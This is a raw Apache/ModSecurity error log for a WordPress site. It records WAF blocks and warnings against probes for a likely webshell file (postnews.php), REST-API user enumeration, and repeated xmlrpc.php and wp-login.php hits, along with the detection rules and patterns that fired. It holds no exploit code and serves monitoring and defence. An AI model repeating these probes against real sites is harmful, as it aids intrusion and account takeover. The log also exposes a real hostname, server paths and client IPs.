[Thu May 14 01:46:15.428762 2026] [:error] [pid 12426:tid 12440] [client 157.15.40.76:52301] [client 157.15.40.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/postnews.php"] [unique_id "agS457Pw24RslX3LIcZomQAAAMw"]
[Thu May 14 01:46:16.758957 2026] [:error] [pid 12426:tid 12442] [client 157.15.40.76:52488] [client 157.15.40.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/postnews.php"] [unique_id "agS46LPw24RslX3LIcZonwAAAM4"]
[Thu May 14 01:46:20.548454 2026] [:error] [pid 12426:tid 12432] [client 157.15.40.76:52590] [client 157.15.40.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/postnews.php"] [unique_id "agS47LPw24RslX3LIcZorgAAAMQ"]
[Thu May 14 01:46:20.808870 2026] [:error] [pid 12426:tid 12430] [client 157.15.40.76:52753] [client 157.15.40.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/postnews.php"] [unique_id "agS47LPw24RslX3LIcZosAAAAMI"]
[Thu May 14 03:41:28.180117 2026] [:error] [pid 8086:tid 8181] [client 43.153.76.247:36154] [client 43.153.76.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agTT6MP1PI2lRkcl6MPa9gAAAJc"]
[Thu May 14 03:51:40.605618 2026] [:error] [pid 11588:tid 11665] [client 191.7.85.146:58225] [client 191.7.85.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.7.85.146, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agTWTNUr21rOixkeGKboJAAAAI0"]
[Thu May 14 03:53:38.573753 2026] [:error] [pid 11690:tid 11706] [client 191.7.85.146:59632] [client 191.7.85.146] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agTWwinxWuLN8Hptw8lEZAAAAMc"]
[Thu May 14 03:54:20.005103 2026] [:error] [pid 11690:tid 11704] [client 191.7.85.146:60119] [client 191.7.85.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.7.85.146, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agTW7CnxWuLN8Hptw8lEwQAAAMU"]
[Thu May 14 06:18:56.333752 2026] [:error] [pid 11690:tid 11720] [client 45.131.195.36:56119] [client 45.131.195.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "agT40CnxWuLN8Hptw8l5qQAAANU"]
[Thu May 14 08:23:07.337145 2026] [:error] [pid 11581:tid 11605] [client 170.106.187.106:40260] [client 170.106.187.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agUV6_0vF48FbzpvQMWY1QAAAAg"]
[Thu May 14 10:25:40.990814 2026] [:error] [pid 47721:tid 47747] [client 43.130.56.207:63775] [client 43.130.56.207] ModSecurity: Access denied with code 403 (phase 3). Match of "validateByteRange 0-31" against "ARGS:_wpnonce" required. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "6640"] [id "243420"] [rev "4"] [msg "COMODO WAF: Information disclosure vulnerability in Eclipse Jetty before 9.2.9.v20150224 (CVE-2015-2080)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "agUyo3Emh7_G0hfOa6tZwwAAAZg"]
[Thu May 14 10:25:40.990973 2026] [proxy_fcgi:error] [pid 47721:tid 47747] (20014)Internal error (specific information not available): [client 43.130.56.207:63775] AH01075: Error dispatching request to : (passing brigade to output filters)
[Thu May 14 11:46:54.374339 2026] [:error] [pid 47721:tid 47736] [client 43.153.208.49:44292] [client 43.153.208.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agVFrnEmh7_G0hfOa6t1WAAAAY0"]
[Thu May 14 12:10:36.267908 2026] [:error] [pid 47721:tid 47738] [client 43.159.149.216:60842] [client 43.159.149.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agVLPHEmh7_G0hfOa6t9QwAAAY8"]
[Thu May 14 14:10:41.981653 2026] [:error] [pid 11582:tid 11639] [client 49.234.192.248:44314] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agVnYfuw2cmFDpGcKhAWlgAAAE4"]
[Thu May 14 15:01:23.313830 2026] [:error] [pid 11588:tid 11663] [client 192.81.211.94:33732] [client 192.81.211.94] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agVzQ9Ur21rOixkeGKZ5OQAAAIs"]
[Thu May 14 15:01:39.889414 2026] [:error] [pid 47673:tid 47692] [client 192.64.115.21:59262] [client 192.64.115.21] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agVzU_CGe4cIn3sh5k0MCwAAAVE"]
[Thu May 14 15:02:42.430513 2026] [:error] [pid 47673:tid 47692] [client 88.135.73.76:58196] [client 88.135.73.76] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agVzkvCGe4cIn3sh5k0MIwAAAVE"]
[Thu May 14 15:22:59.232123 2026] [:error] [pid 11588:tid 11664] [client 43.156.232.190:33892] [client 43.156.232.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agV4U9Ur21rOixkeGKZ-OQAAAIw"]
[Thu May 14 15:49:08.110578 2026] [:error] [pid 47673:tid 47691] [client 43.165.125.66:56454] [client 43.165.125.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agV-dPCGe4cIn3sh5k0RdwAAAVA"]
[Thu May 14 15:51:14.551152 2026] [:error] [pid 11588:tid 11674] [client 197.155.69.230:57770] [client 197.155.69.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.155.69.230, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agV-8tUr21rOixkeGKaD7AAAAJY"]
[Thu May 14 15:51:24.695567 2026] [:error] [pid 11690:tid 11702] [client 197.155.69.230:58211] [client 197.155.69.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.155.69.230, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agV-_CnxWuLN8Hptw8kRCwAAAMM"]
[Thu May 14 15:51:35.188679 2026] [:error] [pid 11581:tid 11605] [client 197.155.69.230:61222] [client 197.155.69.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.155.69.230, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agV_B_0vF48FbzpvQMXLUAAAAAg"]
[Thu May 14 15:51:45.918275 2026] [:error] [pid 11588:tid 11664] [client 197.155.69.230:61577] [client 197.155.69.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.155.69.230, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agV_EdUr21rOixkeGKaD-gAAAIw"]
[Thu May 14 15:51:56.481813 2026] [:error] [pid 11588:tid 11658] [client 197.155.69.230:61941] [client 197.155.69.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.155.69.230, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agV_HNUr21rOixkeGKaEAQAAAIY"]
[Thu May 14 16:13:50.185917 2026] [autoindex:error] [pid 63033:tid 63047] [client 194.163.174.253:51858] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu May 14 17:58:09.803683 2026] [:error] [pid 47721:tid 47723] [client 24.199.108.111:57782] [client 24.199.108.111] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agWcsXEmh7_G0hfOa6v1-AAAAYA"]
[Thu May 14 18:03:36.074937 2026] [:error] [pid 47721:tid 47725] [client 171.61.173.219:3506] [client 171.61.173.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 171.61.173.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agWd-HEmh7_G0hfOa6v28gAAAYI"]
[Thu May 14 18:03:47.493512 2026] [:error] [pid 47721:tid 47730] [client 171.61.173.219:32343] [client 171.61.173.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 171.61.173.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agWeA3Emh7_G0hfOa6v2-AAAAYc"]
[Thu May 14 18:03:56.838347 2026] [:error] [pid 47721:tid 47726] [client 171.61.173.219:19847] [client 171.61.173.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 171.61.173.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agWeDHEmh7_G0hfOa6v3AwAAAYM"]
[Thu May 14 18:04:07.362901 2026] [:error] [pid 11581:tid 11616] [client 171.61.173.219:7697] [client 171.61.173.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 171.61.173.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agWeF_0vF48FbzpvQMXsFgAAABM"]
[Thu May 14 18:04:17.690949 2026] [:error] [pid 47721:tid 47725] [client 171.61.173.219:21611] [client 171.61.173.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 171.61.173.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agWeIXEmh7_G0hfOa6v3BwAAAYI"]
[Thu May 14 18:05:20.555047 2026] [:error] [pid 11581:tid 11618] [client 14.225.206.111:52446] [client 14.225.206.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 14.225.206.111, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agWeYP0vF48FbzpvQMXswAAAABU"]
[Thu May 14 18:05:24.447604 2026] [:error] [pid 11581:tid 11601] [client 14.225.206.111:52446] [client 14.225.206.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 14.225.206.111, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agWeZP0vF48FbzpvQMXsxwAAAAQ"], referer: https://rcacivilgroup.com/wp-login.php
[Thu May 14 18:08:27.426003 2026] [:error] [pid 11588:tid 11676] [client 24.199.108.111:40526] [client 24.199.108.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 24.199.108.111, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agWfG9Ur21rOixkeGKaW_QAAAJg"]
[Thu May 14 18:08:28.513396 2026] [:error] [pid 11588:tid 11668] [client 24.199.108.111:40526] [client 24.199.108.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 24.199.108.111, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agWfHNUr21rOixkeGKaW_gAAAJA"], referer: https://rcacivilgroup.com/wp-login.php
[Thu May 14 18:15:16.834043 2026] [:error] [pid 63033:tid 63036] [client 93.67.169.70:51478] [client 93.67.169.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.67.169.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agWgtFMY49UWn5BpqVbvGwAAAQE"]
[Thu May 14 18:15:27.312098 2026] [:error] [pid 11582:tid 11629] [client 93.67.169.70:51879] [client 93.67.169.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.67.169.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agWgv_uw2cmFDpGcKhAr8QAAAEQ"]
[Thu May 14 18:15:38.155754 2026] [:error] [pid 63033:tid 63037] [client 93.67.169.70:52239] [client 93.67.169.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.67.169.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agWgylMY49UWn5BpqVbvMwAAAQI"]
[Thu May 14 18:15:48.305931 2026] [:error] [pid 11581:tid 11600] [client 93.67.169.70:52593] [client 93.67.169.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.67.169.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agWg1P0vF48FbzpvQMXwVAAAAAM"]
[Thu May 14 18:15:58.876787 2026] [:error] [pid 47721:tid 47733] [client 93.67.169.70:52960] [client 93.67.169.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.67.169.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agWg3nEmh7_G0hfOa6v53QAAAYo"]
[Thu May 14 18:24:32.887352 2026] [:error] [pid 11581:tid 11614] [client 103.82.21.169:37972] [client 103.82.21.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.82.21.169, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agWi4P0vF48FbzpvQMX3BwAAABE"]
[Thu May 14 18:24:34.581371 2026] [:error] [pid 11581:tid 11603] [client 103.82.21.169:37972] [client 103.82.21.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.82.21.169, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agWi4v0vF48FbzpvQMX3CAAAAAY"], referer: https://rcacivilgroup.com/wp-login.php
[Thu May 14 18:41:57.170050 2026] [:error] [pid 11581:tid 11599] [client 20.118.20.77:65375] [client 20.118.20.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.118.20.77, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agWm9f0vF48FbzpvQMX-YAAAAAI"]
[Thu May 14 18:42:02.315532 2026] [:error] [pid 11581:tid 11609] [client 20.118.20.77:65375] [client 20.118.20.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.118.20.77, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agWm-v0vF48FbzpvQMX-YwAAAAw"], referer: https://rcacivilgroup.com/wp-login.php
[Thu May 14 18:53:32.024666 2026] [:error] [pid 11581:tid 11612] [client 43.129.57.170:28092] [client 43.129.57.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.129.57.170, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agWprP0vF48FbzpvQMUApAAAAA8"]
[Thu May 14 18:53:33.392605 2026] [:error] [pid 11581:tid 11607] [client 43.129.57.170:28092] [client 43.129.57.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.129.57.170, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agWprf0vF48FbzpvQMUApwAAAAo"], referer: https://rcacivilgroup.com/wp-login.php
[Thu May 14 19:01:45.677407 2026] [:error] [pid 63033:tid 63035] [client 43.155.140.157:47928] [client 43.155.140.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agWrmVMY49UWn5BpqVb0LQAAAQA"]
[Thu May 14 19:14:16.399592 2026] [:error] [pid 11588:tid 11670] [client 191.7.94.161:22606] [client 191.7.94.161] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agWuiNUr21rOixkeGKakEQAAAJI"]
[Thu May 14 19:15:03.240671 2026] [:error] [pid 11582:tid 11641] [client 191.7.94.161:22669] [client 191.7.94.161] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agWut_uw2cmFDpGcKhAwxAAAAFA"]
[Thu May 14 19:15:29.220818 2026] [:error] [pid 11588:tid 11674] [client 191.7.94.161:22644] [client 191.7.94.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.7.94.161, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agWu0dUr21rOixkeGKakLAAAAJY"]
[Thu May 14 19:15:54.775274 2026] [:error] [pid 11581:tid 11619] [client 191.7.94.161:22710] [client 191.7.94.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.7.94.161, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agWu6v0vF48FbzpvQMUHGgAAABY"]
